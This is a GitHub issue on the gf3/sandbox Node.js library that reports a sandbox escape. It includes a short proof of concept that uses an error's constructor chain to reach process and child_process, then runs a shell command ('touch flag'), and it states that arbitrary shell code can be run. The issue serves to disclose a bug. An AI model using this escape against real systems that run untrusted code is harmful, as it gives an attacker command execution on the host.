gf3 / sandbox

A nifty JavaScript sandbox for Node.js
ISC License
844 stars 123 forks source link

Sandbox Escape Bug #68

Open seongil-wi opened 1 year ago

seongil-wi commented 1 year ago
var Sandbox = require("sandbox")
var code = `
    try{ 
__defineGetter__("x", );

 } catch(ret){
    ret.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
}
`

s = new Sandbox()
s.run(code)

Sandbox can be escaped by calling __defineGetter__ or __defineSetter__ function. Also, we can execute arbitrary shell code using process module.